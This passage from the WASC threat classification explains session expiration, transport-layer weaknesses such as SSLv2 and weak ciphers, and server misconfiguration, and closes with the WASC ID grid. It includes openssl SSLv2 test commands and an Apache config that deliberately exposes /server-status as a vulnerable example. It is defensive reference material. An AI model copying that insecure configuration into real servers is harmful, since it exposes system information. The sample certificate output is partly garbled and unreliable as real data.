[10] http://www.schneier.com/blog/archives/2009/03/new_ebay_fraud.html

Web Hacking Incidents Database (WHID): Insufficient Process Validation

[11] http://whid.webappsec.org/whid-list/Insufficient+Process+Validation

INSUFFICIENT SESSION EXPIRATION (WASC-47)

Insufficient Session Expiration occurs when a Web application permits an attacker to reuse old session credentials or session IDs for authorization. Insufficient Session Expiration increases a Web site's exposure to attacks that steal or reuse user's session identifiers.

Since HTTP is a stateless protocol, Web sites commonly use cookies to store session IDs that uniquely identify a user from request to request. Consequently, each session ID's confidentiality must be maintained in order to prevent multiple users from accessing the same account. A stolen session ID can be used to view another user's account or perform a fraudulent transaction.

Session expiration is comprised of two timeout types: inactivity and absolute. An absolute timeout is defined by the total amount of time a session can be valid without re-authentication and an inactivity timeout is the amount of idle time

allowed before the session is invalidated. The lack of proper session expiration may increase the likelihood of success of certain attacks. A long expiration time increases an attacker's chance of successfully guessing a valid session ID. The longer the expiration time, the more concurrent open sessions will exist at any given time. The larger the pool of sessions, the more likely it will be for an attacker to guess one at random. Although a short session inactivity timeout does not help if a token is immediately used, the short timeout helps to insure that the token is harder to capture while it is still valid.

A Web application should invalidate a session after a predefined idle time has passed (a timeout) and provide the user the means to invalidate their own session, i.e. logout; this helps to keep the lifespan of a session ID as short as possible and is necessary in a shared computing environment where more than one person has unrestricted physical access to a computer. The logout function should be prominently visible to the user, explicitly invalidate a user's session and disallow reuse of the session token.

EXAMPLE

At his town's public library, John logs onto his bank's Web site to transfer money from his checking account to his savings account. Once John completes his transaction he gets distracted, forgets to sign off from his bank's Web site, and walks away from the computer. A second user, Malcolm, now uses the same computer as John. Instead of using the browser to navigate to a new site, Malcolm simply explores the browser history to return to the previous URL where John's account information was displayed. Because John's session is still active Malcolm can now transfer money, open new accounts, order additional credit cards, or perform any other actions available to John via the bank's Web site.

If the banking application had enforced an inactivity timeout set for 5 minutes John's failure to sign out would not give Malcolm the ability to use John's session to make fraudulent transactions. Of course if Malcolm used John's session information within that 5-minute window, John would not be protected. However, the short session expiration would drastically reduces the risk of such an occurrence.

REFERENCES

"Dos and Don'ts of Client Authentication on the Web", Kevin Fu, Emil Sit, Kendra Smith, Nick Feamster – MIT Laboratory for Computer Science

[1] http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf

OWASP Guide Project: Session Management

[2] http://www.owasp.org/index.php/Session_Management

Insufficient Session Expiration

[3] http://cwe.mitre.org/data/definitions/613.html

INSUFFICIENT TRANSPORT LAYER PROTECTION (WASC-04)

Insufficient transport layer protection allows communication to be exposed to untrusted third-parties, providing an attack vector to compromise a web application and/or steal sensitive information. Websites typically use Secure Sockets Layer / Transport Layer Security (SSL/TLS) to provide encryption at the transport layer [1]. However, unless the website is configured to use SSL/TLS and configured to use SSL/TLS properly, the website may be vulnerable to traffic interception and modification.

LACK OF TRANSPORT LAYER ENCRYPTION

When the transport layer is not encrypted, all communication between the website and client is sent in clear-text which leaves it open to interception, injection and redirection (also known as a man-in-the-middle/MITM attack). An attacker may passively intercept the communication, giving them access to any sensitive data that is being transmitted such as usernames and passwords. An attacker may also actively inject/remove content from the communication, allowing the attacker to forge and omit information, inject malicious scripting, or cause the client to access remote untrusted content. An attacker may also redirect the communication in such a way that the website and client are no longer communicating with each other, but instead are unknowingly communicating with the attacker in the context of the other trusted party.

WEAK CIPHER SUPPORT

Historically, high grade cryptography was restricted from export to outside the United States[2]. Because of this, websites were configured to support weak cryptographic options for those clients that were restricted to only using weak ciphers. Weak ciphers are vulnerable to attack because of the relative ease of breaking them; less than two weeks on a typical home computer and a few seconds using dedicated hardware[3].

Today, all modern browsers and websites use much stronger encryption, but some websites are still configured to support outdated weak ciphers. Because of this, an attacker may be able to force the client to downgrade to a weaker cipher when connecting to the website, allowing the attacker to break the weak encryption. For

this reason, the server should be configured to only accept strong ciphers and not provide service to any client that requests using a weaker cipher. In addition, some websites are misconfigured to choose a weaker cipher even when the client will support a much stronger one. OWASP offers a guide to testing for SSL/TLS issues, including weak cipher support and misconfiguration[4], and there are other resources and tools [5][6] as well.

Example 1. Testing a **properly** configured server reveals it doesn't support SSLv2.

```
[root@test]# openssl s_client -connect www.securesite.tld:443 -ssl2
CONNECTED(00000003)
write:errno=104
[root@test]#
```

Example 2. Testing an **improperly** configured server reveals it does support SSLv2.

```
[root@test]# openssl s_client -connect www.insecuresite.tld:443 -ssl2
CONNECTED(00000003)
depth=0 /C=US/ST=State/L=City/O=InsecureSite/CN=www.insecuresite.tld
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 /C=US/ST=State/L=City/O=InsecureSite/CN=www.insecuresite.tld
verify error:num=27:certificate not trusted
verify return:1
depth=0 /C=US/ST=State/L=City/O=InsecureSite/CN=www.insecuresite.tld
verify error:num=21:unable to verify the first certificate
verify return:1
---
Server certificate
-----BEGIN CERTIFICATE-----
Q2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UE
RGYo4XoX/MgNiiyI674jXnLtPoQfCQIDAQABo4GmMIGjMB0GA1UdJQQWMBQGCCsG
MCQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLnRoYXd0ZS5jb20wDAYDVR0TAQH/
CxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAxMYVGhh
d3RlIFByZW1pdW0gU2VydmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNl
cnZlckB0aGF3dGUuY29tMB4XDTA4MDMwNzIxMTYwOFoXDTA5MDMwNzIxMTYwOFow
aDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDU1v
dW50YWluIFZpZXcxEzARBgNVBAoTCkdvb2dsZSBJbmMxFzAVBgNVBAMTDnd3dy5n
b29nbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCvURo9uavn0gBs
+Bp3IeQdVu63bVR84rLpVOI9EW2niG0zM+Pi8VmaoXFg+hjTSMntLPzQXQQvKozU
8gQBGQ2yR+27bhd/dOv7oSA0a6N6ULQ5VkD/nTBzFCkkU9x6cLjqB6tcmz8/DJdd
RGYo4XoX/MgNiiyI674jXnLtPoQfCQIDAQABo4GmMIGjMB0GA1UdJQQWMBQGCCsG
AQUFBwMBBggrBgEFBQcDAjBABgNVHR8EOTA3MDWgM6Axhi9odHRwOi8vY3JsLnRo
Yxd0ZS5jb20vVGhhd3RlUHJlbWl1bVNlcnZlckNBLmNybDAyBggrBgEFBQcBAQQm
MCQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLnRoYXd0ZS5jb20wDAYDVR0TAQH/
BAIwADANBgkqhkiG9w0BAQUFAAOBgQBLvybaMosHcVT975Ae92s3+Xbel/SzOSyO
zpgxQAC+xz7roCl8zcy5v8dWMTBKU717S7lf0SN2asuPh5RoICWbWDR+Tl7PGDxN
cnZlckB0aGF3dGUuY29tMB4XDTA4MDMwNzIxMTYwOFoXDTA5MDMwNzIxMTYwOFow
Mb9zNNVdZQ==
-----END CERTIFICATE-----
subject=/C=US/ST=State/L=City/O=InsecureSite/CN=www.insecuresite.tld
issuer=/C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification
Services Division/CN=Thawte
```

```
Premium Server CA/emailAddress=premium-server@thawte.com
No client certificate CA names sent
---
Ciphers common between both SSL endpoints:
RC4-MD5         EXP-RC4-MD5     RC2-CBC-MD5
EXP-RC2-CBC-MD5 DES-CBC-MD5     DES-CBC3-MD5
SSL handshake has read 1004 bytes and written 239 bytes
---
New, SSLv2, Cipher is DES-CBC3-MD5
Server public key is 1024 bit
SSL-Session:
    Protocol  : SSLv2
    Cipher    : DES-CBC3-MD5
    Session-ID: A0B6C34939B9C9D00B399119C0F9B0DE
    Session-ID-ctx:
    Master-Key: D977D3652B601712AE9297A7D443F7B056A4651DE90448EE
    Key-Arg   : 65EF38557528C3F5
    Krb5 Principal: None
    Start Time: 1224566405
    Timeout   : 300 (sec)
    Verify return code: 21 (unable to verify the first certificate)
---
closed
[root@test]#
```

MIXED CONTENT

Websites that serve a web page using transport layer protection (HTTPS), but then also include additional content on the page such as JavaScript or images over HTTP are using mixed content and are vulnerable to attack. An attacker could replace the legitimate JavaScript being sent to the browser with a malicious version and have it execute in the context of the HTTPS page[7][8]. All content on a secure page must be served via HTTPS, including the HTML, JavaScript, images, CSS, XHR, and any other content.

A similar attack may be used to force a browser into sending a cookie normally transmitted over HTTPS to the HTTP version of the site, exposing the cookie. Cookies should be set with the "secure" flag (and if possible, the "HTTPOnly" flag) to prevent the cookie from being leaked[9].

ADDITIONAL INFORMATION

SSL Implementation Security FAQ

http://ferruh.mavituna.com/ssl-implementation-security-faq-oku/

CWE-319: Plaintext Transmission of Sensitive Information

http://cwe.mitre.org/data/definitions/319.html

CWE-523: Unprotected Transport of Credentials

http://cwe.mitre.org/data/definitions/523.html

CWE-614: Sensitive Cookie in HTTPS Session Without "Secure" Attribute

http://cwe.mitre.org/data/definitions/614.html

REFERENCES

Secure Sockets Layer (SSL)

[1] http://en.wikipedia.org/wiki/Secure_Sockets_Layer

Wikipedia: Export of Cryptography

[2] http://en.wikipedia.org/wiki/Export_of_cryptography#PC_era

40-bit encryption

[3] http://en.wikipedia.org/wiki/40-bit_encryption

OWASP: Testing for SSL-TLS

[4] https://www.owasp.org/index.php/Testing_for_SSL-TLS

PCI DIY – Checking for Weak SSL Encryption with OpenSSL

[5] http://pcianswers.com/2007/04/03/pci-diy-checking-for-weak-ssl-encryption-with-openssl/

SSLDigger – A tool to assess the strength of SSL servers by testing the ciphers supported

[6] http://www.foundstone.com/us/resources/proddesc/ssldigger.htm

Airpwn – framework for 802.11 (wireless) packet injection

[7] http://airpwn.sourceforge.net/Airpwn.html

Surf Jacking Secure Cookies

[8] http://xs-sniper.com/blog/2008/09/24/surf-jacking-secure-cookies/

Cookie hijacking

[9] http://en.wikipedia.org/wiki/HTTP_cookie#Cookie_hijacking

Transport Layer Protection Cheat Sheet

[10] http://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet

SERVER MISCONFIGURATION (WASC-14)

Server Misconfiguration attacks exploit configuration weaknesses found in web servers and application servers. Many servers come with unnecessary default and sample files, including applications, configuration files, scripts, and web pages. They may also have unnecessary services enabled, such as content management and remote administration functionality. Debugging functions may be enabled or administrative functions may be accessible to anonymous users. These features may provide a means for a hacker to bypass authentication methods and gain access to sensitive information, perhaps with elevated privileges.

Servers may include well-known default accounts and passwords. Failure to fully lock down or harden the server may leave improperly set file and directory permissions. Misconfigured SSL certificates and encryption settings, the use of default certificates, and improper authentication implementation with external systems may compromise the confidentiality of information.

Verbose and informative error messages may result in data leakage, and the information revealed could be used to formulate the next level of attack. Incorrect configurations in the server software may permit directory indexing and path traversal attacks.

EXAMPLE

The following default or incorrect configuration in the httpd.conf file on an Apache server does not restrict access to the server-status page:

```
<Location /server-status>
SetHandler server-status
</Location>
```

This configuration allows the server status page to be viewed. This page contains detailed information about the current use of the web server, including information about the current hosts and requests being processed. If exploited, an attacker could view the sensitive system information in the file.

REFERENCES

"Insecure Configuration Management", OWASP

[1] http://www.owasp.org/index.php/Insecure_Configuration_Management

"Apache mod_status /server-status Information Disclosure", Open Source Vulnerability Database (OSVD)

[2] http://osvdb.org/displayvuln.php?osvdb_id=562

CROSS-SITE TRACING (XST)

[3] http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf

XST Strikes Back

[4] http://www.securityfocus.com/archive/1/423028

Improper Filesystem Permissions

[5] http://projects.webappsec.org/Improper-Filesystem-Permissions

LICENSE

THREAT CLASSIFICATION REFERENCE GRID

Item Name	WASC ID
Insufficient Authentication	WASC-01
Insufficient Authorization	WASC-02
Integer Overflows	WASC-03
Insufficient Transport Layer Protection	WASC-04
Remote File Inclusion	WASC-05
Format String	WASC-06
Buffer Overflow	WASC-07
Cross-site Scripting	WASC-08
Cross-site Request Forgery	WASC-09
Denial of Service	WASC-10
Brute Force	WASC-11

Content Spoofing	WASC-12
Information Leakage	WASC-13
Server Misconfiguration	WASC-14
Application Misconfiguration	WASC-15
Directory Indexing	WASC-16
Improper Filesystem Permissions	WASC-17
Credential/Session Prediction	WASC-18
SQL Injection	WASC-19
Improper Input Handling	WASC-20
Insufficient Anti-Automation	WASC-21
Improper Output Handling	WASC-22
XML Injection	WASC-23
HTTP Request Splitting	WASC-24
HTTP Response Splitting	WASC-25
HTTP Request Smuggling	WASC-26
HTTP Response Smuggling	WASC-27
Null Byte Injection	WASC-28
LDAP Injection	WASC-29
Mail Command Injection	WASC-30
OS Commanding	WASC-31
Routing Detour	WASC-32
Path Traversal	WASC-33
Predictable Resource Location	WASC-34
SOAP Array Abuse	WASC-35
SSI Injection	WASC-36
Session Fixation	WASC-37
URL Redirector Abuse	WASC-38
XPath Injection	WASC-39
Insufficient Process Validation	WASC-40
XML Attribute Blowup	WASC-41
Abuse of Functionality	WASC-42
XML External Entities	WASC-43
XML Entity Expansion	WASC-44
Fingerprinting	WASC-45
XQuery Injection	WASC-46
Insufficient Session Expiration	WASC-47
Insecure Indexing	WASC-48
Insufficient Password Recovery	WASC-49